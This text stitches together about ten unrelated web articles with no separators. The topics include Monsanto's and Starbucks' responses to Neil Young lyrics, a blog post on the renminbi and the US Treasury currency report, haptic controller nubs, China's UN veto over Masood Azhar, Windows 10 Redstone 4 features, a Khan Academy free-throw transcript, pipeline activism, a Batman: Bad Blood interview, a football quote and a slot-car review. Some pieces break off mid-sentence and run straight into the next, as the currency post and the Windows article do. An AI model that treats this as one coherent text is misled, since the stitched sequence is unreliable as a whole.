Billboard provided lyrics from the album to a handful of the mentioned corporations and asked for their take on Young's criticism. Chevron, Walmart, Starbucks, and Monsanto all responded to Billboard's inquiry. Find statements from Monsanto and Starbucks (which Young targets on "A Rock Star Bucks a Coffee Shop", previously "Rock Starbucks") below.
Monsanto:
Many of us at Monsanto have been and are fans of Neil Young. Unfortunately, for some of us, his current album may fail to reflect our strong beliefs in what we do every day to help make agriculture more sustainable. We recognize there is a lot of misinformation about who we are and what we do – and unfortunately several of those myths seem to be captured in these lyrics.
Starbucks:
Starbucks has not taken a position on the issue of GMO [genetically modified organism] labeling. As a company with stores and a product presence in every state, we prefer a national solution.
The Monsanto Years is out on June 29 via Reprise. It comes in a CD/DVD package containing a documentary about the making of the album.
Watch the video for "A Rock Star Bucks a Coffee Shop" below.On Friday the US Treasury released its presumably semi-annual (it was due last October) report to Congress on currency issues, and in it refrained from calling any of the countries under review “currency manipulators.” Today’s People’s Daily had this to say :
Major trading partners of the United States, including China, did not manipulate their currencies to gain an unfair advantage in international trade in 2010, according to a report released by the U.S Treasury Department on Friday. ”Based on the resumption of exchange rate flexibility last June and the acceleration of the pace of real bilateral appreciation over the past few months,” China’s behavior did not qualify under the official definition of manipulation, the Treasury said in its long-delayed semiannual report to the Congress on International Economic and Exchange Rate Policies. With respect to exchange rate policies, ten economies were reviewed in this report, accounting for nearly three-fourths of U. S. trade. Many of the economies have fully flexible exchange rates. A few have more tightly managed exchanges rates, with varying degrees of management. ”No major trading partners of the United States” met the standards identified by the Congress as currency manipulator, concluded the report.
Perhaps not surprisingly the Bloomberg version of the story was a little more nuanced:
The U.S. declined to brand China a currency manipulator while saying its No. 2 trading partner has made “insufficient” progress on allowing the yuan to rise. China should follow through on PresidentHu Jintao’s commitments to allow more exchange-rate flexibility and boost domestic demand, the Treasury Department said in a report to Congress yesterday on foreign-exchange markets. The yuan “remains substantially undervalued,” according to the report, which was originally due in October and says no major trading partner meets the legal standard of improperly manipulating its currency. “It is in China’s interest to allow the nominal exchange rate to appreciate more rapidly.” The Obama administration and U.S. lawmakers say China’s currency policy gives the nation’s exporters an unfair competitive advantage. U.S. concerns have grown as China’s rising economic power put the economic relationship off balance. China had a $252 billion trade surplus with the U.S. in the first 11 months of 2010, according to Commerce Department data. “The Treasury will continue to closely monitor” the pace of appreciation, the department said in a statement.
I know a lot of people in the US and around the world — including some in the Treasury Department itself — were very unhappy (although not surprised) by the report’s failure formally to name China a currency manipulator, even while insisting that the RMB is kept artificially low and that this is hurting US manufacturers. It seems hard to see how you can believe one thing without believing the other.
So should Secretary Geithner have called China a currency manipulator? I am ambivalent. It is pretty clear to me that domestic policies within China are at the source of the huge imbalance between production and consumption. High savings rates rarely have to do with culture or personal preferences, as is widely assumed, and a lot to do with policies that affect the balance between production and consumption. After all a nation’s savings is simply its total production minus its total consumption, and to the extent that there are explicit policies aimed at constraining consumption and boosting production, they inevitably affect the savings rate. These policies also inevitably force a rising trade surplus onto the rest of the world.
The RMB has appreciated a scant 3.7% in the past two years. I know many people are arguing that Chinese CPI inflation of 5% should be considered as part of the RMB’s real appreciation, but as I argued in my newsletter last week, that would only be true if Chinese inflation affected all input prices equally. If the price of inputs in the tradable good sector rose by less (and most inflation has been in food prices), it is not at all clear that there has been real appreciation anywhere near the CPI inflation numbers.
On that topic I had an interesting email conversation with one of my favorite China analysts, Mark Williams of London-based Capital Economics, who pointed out the following:
This talk of real exchange rate appreciation does seems to have become a big talking point recently and is being repeated by people that should know better. One way to cut through confusion about what is the appropriate price measure is to look at export prices. The US produces a quality-adjusted measure of the unit price of goods shipped from China. According to the latest figures (December), China’s export prices were up 0.8% y/y in dollar terms. In other words, once currency appreciation is factored in, factory gate export prices in renminbi continue to fall.
So clearly there is a problem with relative prices and just as clearly it is not being resolved. That suggests that world is right to be angry at Chinese currency policies. But against that I would make two points.
First, we are in the final period before the change of leadership in 2012. It is widely understood that during a presidential election year in the US we come close to policy paralysis, with no important initiatives. It is less widely understood that in China, similarly, at least one or two years before the succession very little gets done. I think it is unlikely that we will get major moves on the currency, or on anything else for that matter. Once the new leadership is in place they will have to decide on the timing and extent of the adjustment, and I think everyone understands that it is going to be a difficult process. The current leadership won’t do it.
Second, I worry that we are focusing too much on the currency while ignoring all the other variables that cause the domestic imbalances in China. If China is forced into a major revaluation, this may simply result in a worsening of the other domestic variables.
It’s not just the currency
To explain why, let me turn to an article published in the New York Times two weeks ago by Harvard Law professor Mark Wu, about the revaluation of the renminbi. Probably because it was the eve of President Hu’s visit to the US it got a certain amount of comment. Although I think I am in broad sympathy with his sentiments, I have to say nonetheless that he repeated two very common fallacies that have been repeated so many times and in so many different places that I think they should be (again) addressed and explained.
In his article Wu said that many American believe a stronger renminbi would create jobs in the US. But, he argues, these claims “are more wishful thinking than |
. The difference here is the nubs can move on their own, stretching the skin on the thumb that wrests on each one. In so doing, different stretches and pulls can be used to signify feedback. So far, the team have developed 5 types of feedback including bouncing, pulsing, waves, circular motion, and crawling (sensation like dragging your thumb across a surface).
The nubs are capable of feeding back the sensation of hitting something (collision feedback), being hit (being shot or punched), crawling along the floor, floating on water, as well as giving directional information too. For example, if you are hit from the right, the right nub will give your thumb a push to inform you where the shot came from.
The good news is, because the nubs are so small they can be mounted on to existing controller designs. So the thumbsticks on a DualShock controller could have these nubs added without changing their functionality, and hopefully remaining comfortable for the user to interact with.
Microsoft has already been approached and shown the technology, and they want to know more. Tests have also been carried out during this year’s Haptics Symposium, and gamers’ feedback showed the nubs worked even if thumbs are angled on the thumbsticks.
The haptic technology will be on show at GDC this week, and is sure to get some interest from hardware manufacturers. Incorporating the tech into controllers is expected to add around $15 to their price. Considering the potential for additional feedback, that may be a price console manufacturers are willing to split with consumers.
Read more at Utah University News Center, via BBC NewsOn Tuesday, China blocked a proposal by the United States to designate Jaish-e-Muhammad (JeM) chief Masood Azhar a global terrorist, according to media reports. The US move at the United Nations Security Council was backed by the United Kingdom and France in an apparent show of support for India.
New Delhi accuses JeM and Azhar of masterminding several terrorist attacks on Indian soil, including a deadly assault on an Indian airbase in Pathankot in January 2016. Pakistani investigators say Azhar and his associates had no links with the attack.
In December last year, China vetoed India's request at the UN to blacklist the Pakistan-based JeM head Azhar as a terrorist. The UN Security Council has already blacklisted JeM, but not Azhar.
Vikas Swarup, the spokesman for India's Foreign Ministry, said at the time that his country had requested nine months ago that Azhar be blacklisted, and claimed that most members of the Security Council had backed the move.
"We had expected China would have been more understanding of the danger posed to all by terrorism," Swarup said in a statement in December, adding that the inability of the international community to ban Azhar showed the "prevalence of double standards in the fight against terrorism."
New Delhi accuses Pakistan of using jihadist proxies to mount attacks inside India, including India-administered Kashmir. Islamabad denies these allegations.
In a DW interview, Siegfried O. Wolf, a South Asia expert at the University of Heidelberg, explains why Beijing continues to block the moves to blacklist Masood Azhar.
Siegfried O Wolf: 'China's counter-terrorism measures exclude the US and India'
DW: China blocked a recent US move to blacklist Jaish-e-Mohammad chief Masood Azhar at the UN. Last year, Beijing put two similar Indian proposals on hold. Why is China protecting Azhar?
Siegfried O. Wolf: China's diplomatic support for Pakistan-based militants is multi-faceted. Therefore, one must look at Beijing's latest action at the UN in a larger context.
China's protection of Masood Azhar is only one component of the Chinese campaign to provide Pakistan its diplomatic support, which includes informal "lobbying work" to prevent Pakistan from being listed as a state that sponsors terrorism. The possible sanctions would not only have immense political and economic implications for Islamabad, they would also reflect poorly on Beijing as Pakistan is widely seen as a close China ally. Therefore, Chinese authorities try to undermine all Indian attempts to officially name Pakistan as a state sponsor of terrorism on international platforms like BRICS or the Heart of Asia conference.
Beijing is now also drawing on Islamabad's improved relations with Moscow. China is increasingly involving Pakistan in multilateral dialogues on regional cooperation and security in relation to the Afghanistan-Pakistan region and Central Asia in an attempt to minimize Pakistan's international isolation.
Another dimension of China's move to block the US and Indian efforts to designate Azhar as a terrorist is the threat that anti-Indian militant groups like the JeM could turn against the Pakistani state. This would have dangerous implications for China, especially for its massive investments and development initiatives in the South Asian country, including the multi-billion dollar China-Pakistan Economic Corridor (CPEC) project. We must not forget that international terror groups like al Qaeda, "Islamic State" (IS) and the East Turkestan Islamic Movement (ETIM) oppose Beijing for its alleged anti-Muslim policies against the Uighurs in its western Xinjiang province. China doesn't want an additional confrontation with Islamist groups.
Finally, there is no doubt that the India-China rivalry might also be a factor in Beijing's support for Islamabad and Pakistan-based terrorists. In this context, China's major development projects like "One Belt, One Road" to link China with Europe and the Middle East, and several other infrastructure projects show that Beijing considers Afghanistan an important country for its economic, security and geopolitical interests.
China is investing massively in Pakistan
Why does India want the UN to designate Azhar as a terrorist?
The Indian policy is that the internationally community recognizes Pakistan as a terror sponsor. New Delhi wants the global powers to impose sanctions on Pakistan. If the international community declares Pakistan a state sponsor of terrorism, it would help India to justify its military action against militants on Pakistani soil and legitimize cross-border operations.
China is also facing a protracted Islamist insurgency in Xinjiang. Why are Beijing and New Delhi not on the same page over Islamist terrorism?
China's counter-terrorism measures exclude the US and India. Chinese authorities have historically treated New Delhi as a geopolitical rival. India's close ties with the US are also perceived as a threat in Beijing, therefore China prefers not to cooperate with India. Last year, China bolstered its ties with Moscow, and at the moment it appears that Beijing is trying to construct a new security bloc in Asia. This, however, does not involve the Sino-Indian security cooperation.
New Delhi accuses JeM and Azhar of masterminding several terrorist attacks on Indian soil
Will Chinese support embolden Pakistan in what some experts say is its backing for jihadist proxies in India and Afghanistan?
China is indirectly encouraging Pakistan to continue its state patronage of cross-border terrorism. At the same time, Beijing is supporting Pakistan's policy of fighting anti-state militants, especially those groups that could pose a threat to CPEC.
Beijing will most likely not intervene in Pakistan's policy of backing militants that are operating in Afghanistan and India. Any measures against such groups, or the withdrawal of support, will be perceived as a hostile act by these jihadists. In this context, it is interesting to note that a recent tripartite meeting between Russia, China, and Pakistan on how to bring stability and peace to Afghanistan identified IS as the major threat and not the pro-Pakistan Taliban groups or the Pakistan-based Haqqani Network.
Siegfried O. Wolf is a researcher at the University of Heidelberg's South Asia Institute. He is also the director of research at the Brussels-based South Asia Democratic Forum (SADF).
The interview was conducted by Shamil Shams.Windows 10 Redstone 4 development is now well underway internally at Microsoft, which means it's time to start poking around to see if I can find out what Microsoft is planning for its next major release of Windows 10. Here's what I've learned so far. Release date Microsoft itself has already stated that it plans to release two feature updates to Windows 10 each year, one in March/April and the other in September/October. Considering the next scheduled update is March/April 2018, we're expecting Redstone 4 to be finalized sometime in March 2018 with an official release in the month after. Features Timeline and Cloud Clipboard
File this one under totally obvious, but Microsoft is planning to debut both Timeline and Cloud Clipboard features with Redstone 4. Announced last year, these two features were originally going to show up in the Fall Creators Update, but were cut at the last minute. Timeline is a glorified recent apps screen that shows the user all the apps they've opened on their device and other devices that are signed in with a Microsoft account. You can see apps you've opened through time, open them with a single click that puts you exactly where you left off. It works across Windows 10 PCs, iOS and Android. I believe Timeline will be another CShell element, similar to the new swipe keyboard found in the Windows 10 Fall Creators Update. Microsoft will slowly be introducing more CShell elements over time, and Redstone 4 will see that trend continue. Cloud Clipboard is a feature that many people are excited about, allowing you to copy text or a document and have that copied item saved to the cloud for pasting on other devices. This will be optional of course and will work across Windows 10 PC, iOS and Android too. Fluent Design in the Windows Shell
Microsoft announced earlier this its new design language called "Fluent Design System" that will be implemented in Windows over the next several releases. We're already seeing small bits of it show up in the Fall Creators Update, and I'm told Redstone 4 will see Fluent Design show up in the Windows Shell a lot more. My People improvements
My People in the Windows 10 Fall Creators Update at best looks unfinished, and that's because it is. I'm told My People will be getting some love in Redstone 4, with an updated design that more closely matches what Microsoft unveiled back in October last year. The My People feature in the Fall Creators Update is only there so that developers can start working on integrating their apps with it. Its UI isn't final, so expect to see some good things on that front. CortanaVideo transcript
[LEBRON JAMES] What muscles do I use when I take a free throw? [SAL KHAN] Excellent question, LeBron. So you can imagine whenever you're doing anything – whenever you stand, or even run – you're using a ton of muscles just to to keep your balance – Just to keep your body rigid. But what we're going to focus on are the muscles that are directly acting on the ball to make the ball go in that direction – to make it accelerate upwards and towards the basket – which you would hopefully do when you are taking a free throw. So, the muscles that are doing that are the ones that help your fingers go in that direction, help the palm of you hand going in that direction, and help your entire forearm to go in that direction. Obviously, at the same time, there are many other muscles at work, even the muscles that keep your entire arm above your head like this – the muscles that keep you standing. But we're going to just focus on these muscles right over here. So first, the muscles that allow your fingers to go in the direction that you want the ball to go, and your palm. And you might be surprised to find that those muscles actually sit in the forearm. most of those muscles actually do not sit in the hand. Those muscles are actually here. So the muscles in the front of your forearm right here, they are actually all about flexing the fingers and the hands in that direction. There are a bunch of names for them. And I encourage folks to look them up. But it is a really interesting thing, because we are often used to muscles being directly where the motion is. But in this case, these muscles, when they're in action, they contract And muscles, when they're in action do contract. So they're going to contract and they are going to pull essentially on tendons. They're going to pull the whole hand to that way. You could view as a kind of pulley So if this was... If you view your wrist joint as kind of pulley. And if you had a rope that is attached to another block. And that block you can view as your hand and your finger So that block is your hand. These muscles right over here, they contract this way so its..... pulling on this rope. And were to pull on this rope, what would happen to this block up here? Well, this block up here is going to go in that general direction. So that what's keep your hand and your fingers going in that way But what about the entire forearm? So once again. The muscles that get your entire forearm going in that direction aren't in your forearm. They are in the back of your upper arm. So they are right over here. Often referred to as the triceps. The official name are the triceps brachii, but they're right over here and it's called triceps because kind of three-headed muscle. There are three muscle bundles that are going on And when these muscles over here, your triceps, when they contract they allow your entire forearm to essentially straighten out on your elbow so it will go in that direction In this case, when this muscle, the triceps, contract your entire forearm is going to.... on your elbow And go like that, which will allow the basket to go in the intended directionEncouraged by the Obama administration's shelving of the Keystone XL pipeline and its revoked authorization for construction of the Dakota Access Pipeline on federal lands, activists are now eyeing new battles.
At least 14 new pipeline projects are in the works, carrying both oil and natural gas. These projects involve at least 24 states, adding to the existing 2.5 million miles of energy pipelines in the U.S.—the largest network in the world. Driven by low natural gas prices and the fracking boom, these new pipelines will cross major urban areas as well as important watersheds.
Some of the proposed pipelines being monitored by activists. Oil Change International/E&E Publishing
Supporters say that they supply energy needs for many communities, provide jobs and are safer for oil transport than truck or rail. Take the case of the Atlantic Sunrise pipeline expansion. Running from Louisiana through the Southeast all the way to Long Island, New York, the project is an expansion of an existing Transco pipeline operated by Tulsa, Oklahoma-based Williams Companies.
Counting branch pipelines, Transco is a 10,200-mile system that can move 10.9 billion cubic feet of natural gas per day. The company transports 10 percent of the natural gas consumed in the U.S., but it was built to move gas mainly from the Gulf of Mexico to the Northeast.
Now, the Marcellus Shale in Pennsylvania provides lower-cost gas and the Atlantic Sunrise will be reconfigured to move product south. In 2014, 1,370 wells were being drilled in the Marcellus, with high-yield wells using hydraulic fracturing, or fracking. The Marcellus provides more than 36 percent of the shale gas produced in the U.S.
Williams Companies said that construction of the pipeline expansion in Pennsylvania will create 2,300 jobs for one year, with 15 permanent full-time jobs after that for operation and maintenance. Citing U.S. Department of Transportation (DOT) statistics, the company's website states that "pipelines are the safest method for transporting energy." They add that their safety practices include 24/7 monitoring of the pipeline.
But critics aren't convinced. While pipelines are, statistically, far safer than trucks or trains, "When a pipeline does fail, the consequences can be catastrophic," ProPublica said.
On a quiet Thursday evening, six years ago this month, a massive blast shattered the peace of San Bruno, California, as a tower of fire erupted from a natural gas pipeline under the city of 41,000. Whipped by fierce winds, the blaze killed eight people and severely injured 58. It destroyed or damaged 55 homes.
Last month, a federal jury convicted Pacific Gas & Electric of obstructing the investigation and violating pipeline safety laws both before and after the explosion.
From October 2015 to February 2016, the largest methane leak in U.S. history spewed out of a natural gas storage field near Porter Ranch, California, releasing 94,500 tons of the powerful greenhouse gas. The leak sickened thousands and forced the temporary relocation of more than 5,000 households. Methane absorbs heat more effectively than carbon dioxide.
"In the first two decades after its release, methane is 84 times more potent than carbon dioxide," according to the Environmental Defense Fund.
Southern California agreed to pay $4 million to settle criminal charges but still faces civil actions. In March, the Los Angeles Times found leaks in 229 natural gas storage fields in California, and said that they "are often left untreated for months."
Oil-carrying pipelines may leak or rupture, creating dangerous spills. In 2010, an Enbridge Energy pipeline released 840,000 gallons of heavy tar sands oil into the Kalamazoo River in Michigan. Oil flowed for 17 hours before the pipeline was shut down. Cleanup costs reached $1.2 billion, making this the most expensive on-shore oil spill in U.S. history.
The company agreed to a $177 million settlement, which also included violations relating to a 269,000 gallon pipeline spill in Illinois. And in 2011, an ExxonMobil pipeline spilled 42,000 gallons of crude oil into the Yellowstone River, agreeing Wednesday to a $12 million settlement.
Enbridge, the company responsible for the Kalamazoo River spill, is now seeking to pump 800,000 barrels of tar sands crude per day through North Dakota, Minnesota and Wisconsin by expanding its Alberta Clipper pipeline. This facility crosses the Great Lakes and Mississippi River, along with tribal lands including Fond du Lac, Red Lake Nation and Leech Lake Indian Reservation. Enbridge is also behind the proposed Northern Gateway pipeline, which threatens the Great Bear Rainforest in British Columbia.
While the Obama administration has put a stop to the Dakota Access Pipeline, it has permitted two pipelines linking the Permian Basin in Texas with customers in Mexico. Despite the administration's legacy of conservation actions and its role in the historic Paris climate agreement, fossil fuel development continues unabated. The U.S. Energy Information Administration's Annual Energy Outlook 2016 projects a 55 percent increase in natural gas production by 2040.
"The currently planned gas production expansion in Appalachia would make meeting U.S. climate goals impossible," states a July 2016 report published by Oil Change International.
Which brings us back to the Marcellus Shale in Pennsylvania. The state is enjoying a boom to the tune of more than $10 billion in pipeline projects. Production from the Marcellus gas wells is outpacing the capacity to bring it to market. That's why the Atlantic Sunrise project is seen as key to the state's economy. But the U.S. Environmental Protection Agency (EPA) has voiced concerns about the pipeline.
In a June 27 letter to the Federal Energy Regulatory Commission (FERC), EPA Associate Director Jeffrey D. Lapp criticized FERC's draft environmental impact statement (DEIS). "[The] EPA is concerned that the selection of the current preferred alternative may result in significant adverse environmental impacts," the letter states.
The EPA also voiced concerns about "terrestrial resources, including interior forests, aquatic resources, rare, threatened and endangered species."
The rush to build pipelines may soon result in overcapacity. Referring to two competing projects in the Mid-Atlantic, the Atlantic Coast pipeline and the Mountain Valley pipeline, the Southern Environmental Law Center said in a report published last week that they would be unnecessary if the Atlantic Sunrise project is completed and a proposed upgrade to an existing Columbia Gas pipeline goes through.
Hundreds of activists, joined by high-profile allies including Susan Sarandon, Shailene Woodley and Josh Fox, rallied outside the U.S. District Court in support of the Standing Rock Sioux Tribe on Aug. 24.
Against this background, activists look askance at every new pipeline proposal. Protests have taken place against the Atlantic Sunrise pipeline in both Pennsylvania and at FERC's office in Washington. The Sierra Club in Pennsylvania is working to stop the pipeline. Elsewhere in the state, both the EPA and National Park Service have condemned FERC's DEIS for the Penn East pipeline, which would connect the Marcellus Shale to markets in Pennsylvania and New Jersey. The proposed Pilgrim Pipeline is under attack in New York and New Jersey by residents and numerous conservation groups. More than 60 towns and cities in the two states have passed resolutions opposing the pipeline, which would carry oil across major groundwater aquifers and two aqueducts feeding New York City's public water supply.
Another Williams Company project, the Constitution Pipeline in Pennsylvania and New York, used eminent domain to force its way across private property, cutting down hundreds of trees to make way for the pipeline. The company had the approval of FERC to proceed.
"I think the Atlantic Coast and Mountain Valley [pipelines] are cued up to be the next hot spots. They have river crossings, and there are such historic grounds of American history—literally land given by George Washington to families during the wars," Bold Alliance President Jane Fleming Kleeb said. As pipeline builders take private property, desecrate sacred Native American land and attack protesters with dogs and mace, angry citizens prepare for future battles.As the internet waits for Batman v. Superman: Dawn of Justice and Suicide Squad, DC Animation has already made its own full-length feature, Batman: Bad Blood, available on Blu-ray. The film evokes Grant Morrison’s 2009 Batman and Robin comic series in which Dick Grayson, a.k.a. Nightwing, assumed the Bat-mantle as Damian Wayne becomes boy wonder Robin.
In Bad Blood, Bruce Wayne mysteriously vanishes leaving Grayson (voiced by Firefly alum Sean Maher) to don the cowl while also investigating his disappearance. Along the way, Grayson is joined by Batwoman (Yvonne Strahovski) and Batwing (Gaius Charles) who cement their footing in the new animated continuity. We caught up with Bad Blood director Jay Oliva at the film’s premiere at the Paley Center in Manhattan to discuss the process of bringing DC’s iconic characters to life, the crowded landscape of comic adaptations, and what might be in store for the studio.
What can you tell me about the conception of Batman: Bad Blood? How did this particular project come together?
[DC Producer] James Tucker worked with [writer] J. M. DeMatteis very closely, so they came up with the bones of the movie. By the time I got involved, they already had a second draft of the script, so at that point then James and I would talk and I would throw suggestions, but for the most part, this is something that James Tucker really developed, at least storyline wise. Once I come in, I bring in the visuals, rework some of the action sequences, work out the choreography and that kind of stuff.
You’re a veteran director for DC Animation. What were some of the lessons you learned doing movies like Batman: The Dark Knight Returns that you applied in Batman: Bad Blood?
What I try to do with every movie is I try to learn. Whenever I’m with [DC producer] Bruce Timm — I mean he’s got a huge history working on this medium, so whenever he tells me anything I’m writing it down like it’s gold. James Tucker too, he’s an amazing filmmaker, so I try to learn from him. I adjust my style depending on who I’m working for. If I’m working for James or Bruce, I adjust because I know Bruce has different sensibilities than what James is looking for, so I do that along the way. Then at the same time, I interject my own kind of tastes. I love Ip Man, The Raid, The Raid 2. When I saw Captain America: The Winter Soldier, I was like, “This is fantastic.”
It was!
In my mind, I’m like, “How do I top Winter Soldier?” or “How do I capture that?” I’m always chasing that white rabbit. How do I push this medium more than what Bruce or James had done in the past? I’m hoping that filmmakers who come after me will take what I’ve done and push the game further.
'Chuck' and 'Mass Effect' alum Yvonne Strahovski plays Batwoman in 'Batman: Bad Blood.'
I would kick myself if I didn’t ask. You were also director on Young Justice. Is that dead in the water? Will we ever see Young Justice again?
Nothing’s ever totally dead. Futurama and Family Guy came back, but the crew, we all moved on. I’m doing this stuff, Brandon Vietti and Greg Weisman are doing their own things. If the fans want it and there’s enough uproar, then eventually. Who knows? We all might come back and do it, but you never know.
So it’s dependent on fans. DC’s animated films have their dedicated audience, you’ve cornered this market in ways your competitors haven’t been able to. What do you think attributes to that success?
I think it’s just the fans. They’ve really supported what we’ve done, whether they like the adaptations or the original stuff. This is maybe our 25th movie that we’ve done since Doomsday. We have such a rich pantheon of characters and we have a studio that supports what we want to do. We don’t really get too much studio involvement.
You guys are independent, creatively?
Yeah. We don’t get executives at Warner Bros. telling us, “Oh, you have to do this.” It’s James Tucker and Bruce Timm crafting these films and they trust us because they know that we do good work. I think that hands-off approach really lends itself to us being to do storylines like Under the Red Hood or Mask of the Phantasm.
Under the Red Hood* is my favorite DC animated film.
They’re a hard sell through. Shareholders might be like, “We don’t want to do that because fans don’t like those characters.” But I think being at Warner Bros., I’m very fortunate because they nurture us to be directors and creators and not really have to sell toys. I don’t have to sell toys. I don’t have Mattel or Hasbro or whoever saying, “You need to sell, so you need to do this.”
What does end up “selling”?
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Doing these adaptations, we get fans to go back and read the books. That’s a great thing.
What are the fans reactions when they read the books? Or fans who read the books first, how do they feel about the changes you guys make?
One of the biggest criticisms I get for Dark Knight Returns are like, “Well, you didn’t do exactly the books.” None of these things are supposed to replace them. Like when we did Batman vs. Robin, it wasn’t supposed to be an adaptation of Court of Owls, it was to bring that storyline into this continuity and establish Court of Owls are in and someday we might come back to it. We might be able to go into the storylines that Greg Capullo and those guys established in comics and bring it into us, so it’s a whole new continuity. It’s a way to bring things together.
I’m not doing a strict adaptation. This is my interpretation of it, but you can always go back to the books and read them. There’s still the magic of reading the books and having that tangibility in your hands, and I still look at those books all the time.
Gaius Charles of 'Friday Night Lights' voices Batwing in 'Batman: Bad Blood.'
What else can we expect in the future of DC Animation? What other books are you guys are looking to adapt? We already heard *Justice League vs. Teen Titans.
We do the Justice League continuity then Elseworlds, so there’s a lot of things. I’d love to do Gotham by Gaslight. Even in this [Justice League] continuity, I’d love to do a Batwoman/Wonder Woman movie, based on that story. I thought it was a fantastic pair-up, you know? Or I’d love to go back and do a Flashpoint sequel or prequel.
Are you open to original stories that aren’t based on anything?
When we’re in this continuity, they try to have something that we pick and choose from as a basis, and then elaborate and come up with something original, so it really depends what the market is going for. Right now, Batman, Superman, Wonder Woman are getting hot because of Batman v. Superman, so because of that Warner Bros. might be like, “Hey, we want to see more of those.” We might have another Wonder Woman film because of the Wonder Woman movie, or if Batwoman is a fan favorite and the sales are up for Bad Blood we might be able to have a Batwoman solo film. Why don’t we have Batwoman and Thomas Wayne? How cool is that?
This is a testing ground to see new characters, if you think about it. Flashpoint Paradox was the first time Flash had a solo movie, and it’s because of that Geoff Johns was able to show it to The CW and get the The Flash TV show. So who knows? What we’re doing [with Bad Blood], we might be able to make a solo Batwoman or Batwing. Nightwing would be great, I’d love to see that.
I’m going to shout out two random DC things and ask if there’s going to be a movie: Constatine. Are we going to see an animated Constantine?
Hopefully. I love Constantine, he’s one of my favorite characters. I’d love to get [series lead Matt] Ryan back to do it, I thought he was great. [But] like I said, there’s a whole list I’d love to do. I’d love to do Booster Gold, that would be a fun movie.
I would pay so much money to see a Booster Gold movie. How about Injustice, the video game from 2013?
That would be great. That’s why Assault on Arkham was fun, because I got to do it based on the games, and Injustice would be fun. The thing is, sometimes at Elseworlds it ends up being something like The Killing Joke, so the things we want to do get pushed down the line because we only do three or four a year. There’s only so much that we can do in that year.
Circling back to Batman: Bad Blood. What’s the most thing you’re proud of? What’s the one scene that we should pay attention to?
The ending. The ending was something that I crafted, because when I read the script, it was one way, but then I pitched it to James. “I think we need to have it like this.” So we re-crafted this ending, and hopefully you’ll see it and you’ll enjoy what I ended up doing.Sir Trevor Brooking, the FA's former director of football development: On whether it would have been better for England manager Roy Hodgson not to make public the reasons for Raheem Sterling being left out of the team:
"Raheem's problem is he's the outstanding current player for Liverpool and for his country so suddenly everyone assumes he's an automatic selection. In the second game, if he had not started him everyone would have asked: 'Why is he not playing?'
"Roy tends to be open and honest so this one has come back to bite. What's been unfair during the week is it's almost grown to where they say: 'He didn't want to play' - which is a nonsense.
"He played in the U17 World Cup, he always turned up for the team, he likes playing for England, he's played well for us in the different age groups and is going to be a top player for us moving forward.
"You've got to remember he came on for 20 minutes and got the free-kick which gave England the win. He's a key man for both teams at the moment - that's the problem."18th May 2017 Comments (0) Views: 1569 Reviews
The Classic DTM class definitely needed a fabulous-looking new shape in its line-up, and the CA36a Opel Calibra V6 DTM gives us exactly that – a sleek coupe silhouette that couldn’t be more different to that of the angular Alfa Romeo 155 Ti V6 saloon. As you’d expect from Slot.it, the new addition is a faithful scale reproduction of the 1:1 – and the level of detail has been improved over even that of their debut Alfa.
The Opel Calibra V6 is a racing car built to race in the DTM (Deutsche Tourenwagen Meisterschaft) series in 1995. At that time the German Touring Car Championship was the peak of technology for touring car racing. The rules mandated cars with an engine displacement of 2.5 liters and 6 cylinders at most, derived from approved models and produced in no less than 25,000 units. The rules allowed deep changes to the car, provided that the external lines were maintained. This Slot.it model reproduces the works No. 9 racing at the Hockenheimring, driven by Manuel Reuter. [Slot.it]
…first impressions
Before even sliding off the cardboard sleeve, you’ll notice instantly that (aside from this being a gorgeous model!) it’s clear Maurizio and his team have been busy making small changes that offer big improvements. For example; the clear plastic vac-form that holds model in position while boxed has been redesigned to reveal much more of the car… a feature many might overlook, but one that those collector-types who’ll want to display their ‘unboxed’ model will no doubt appreciate.
In addition to the flamboyant arches, vents, ducts and spoilers that typify these mid-nineties DTM racers, fine details to the lightweight half-tray interior and driver continue to make this an impressive model to examine. There’s no denying – this is a great-looking car, and the closer you look at it, the closer you will look at it… this a model that somehow draws you in! A detail I particularly like is the roll cage, which features reinforced A-pillars and reaches right back to the rear suspension turrets.
If there’s one visual aspect of the Calibra which suggests that a compromise of sorts had to be made, that, as some have already pointed out elsewhere, is with regard to the wheels. Sure, with tampo’d tyre sidewalls and inserts, they’re accurate and look great – but the paint is a little tick, chips easily, and they just appear a little undersized compared to the arches. Now, if we can see this, then you can bet the Slot.it team were aware of it, too. So, it must have been a difficult decision for them to take; should they fit their larger 16.5mm wheels for a more realistic look, or maintain the proven, class-specific mechanical specification that they established with the Alfa?
It’s possible some will be a little disappointed with this decision, but I believe it was the right choice to stick with the ‘Classic DTM’ specification and a more performance-oriented product. This is a racer, after all – and part of a collection that shows every sign of growing into a large and exciting series. And, let’s be honest – are you really going to not buy one just because the wheels could be a bit bigger?
We’ve waited some time to have a running partner for the 155, so it seemed only appropriate to make this a back-to-back test – my concept being to take both models through a series of simple, reversible modifications and upgrades to examine the performance improvements while comparing one model to the other. Together with a club mate, we agreed to do 30 timed laps with each successive modification, wound back the clock some 20+ years, and got ready to recreate and relive some classic mid-nineties Opel vs. Alfa DTM moments!
Straight out of the box there’s basically nothing in it – despite my own Alfa being almost 12 months older than the Opel, the quality of the components mean that they offer exactly the same straight-line pace and similar cornering ability. Both cars ran smooth, blurrily-fast sub-10s laps – the only difference being that, when the magnet ultimately can’t hold on any longer, the Calibra tends to slide and tip upside-down, whereas the Alfa tumbles.
Magnets removed, we set about establishing a base time. It’s worth noting at this point that, although the Calibra body is a couple of millimetres wider than the Alfa, it arrived with exactly the same front and rear track width as the Alfa – so, the only real difference between them at this point is the much shorter stature of the Calibra.
Provided we drove without feeding the power in progressively, both cars remained relatively stable and, although neither model was hugely fast at this stage, it was clear that the Opel had a slight edge. An aggressive trigger-finger meant that the 150gr. magnet downforce from the motor was quickly lost which, in the Calibra, usually resulted in a slide before anything disastrous – given the same treatment, the 155 would pitch up onto two wheels and lift its guide out of the slot before tipping over. Another interesting handling difference started to emerge; the Opel was more likely to encounter ‘understeer’ on corner entry than the Alfa – the 155, although much easier to brake deep and turn quickly into a corner, could not match the exit speed of the lower Calibra and would frequently find itself leaving a corner not on four wheels, but on two and a door-mirror.
After 30 laps; Opel 11.676s, Alfa 11.931s (+0.255s).
Discussing the behaviour of both models, we agreed that the front ends felt a little light, and opted to make the first modification a simple braid-swap. Out came the stiff, springy originals and in went thinner, softer SP18. In the second session, we were delighted by how much of an improvement this made – lap times came down by almost half a second! Both cars became easier and more enjoyable to push confidently into and out of corners. Again, the Calibra favoured the faster curves while the 155 regained ground through the tighter sections.
After 60 laps; Opel 11.273s, Alfa 11.513s (+0.240s).
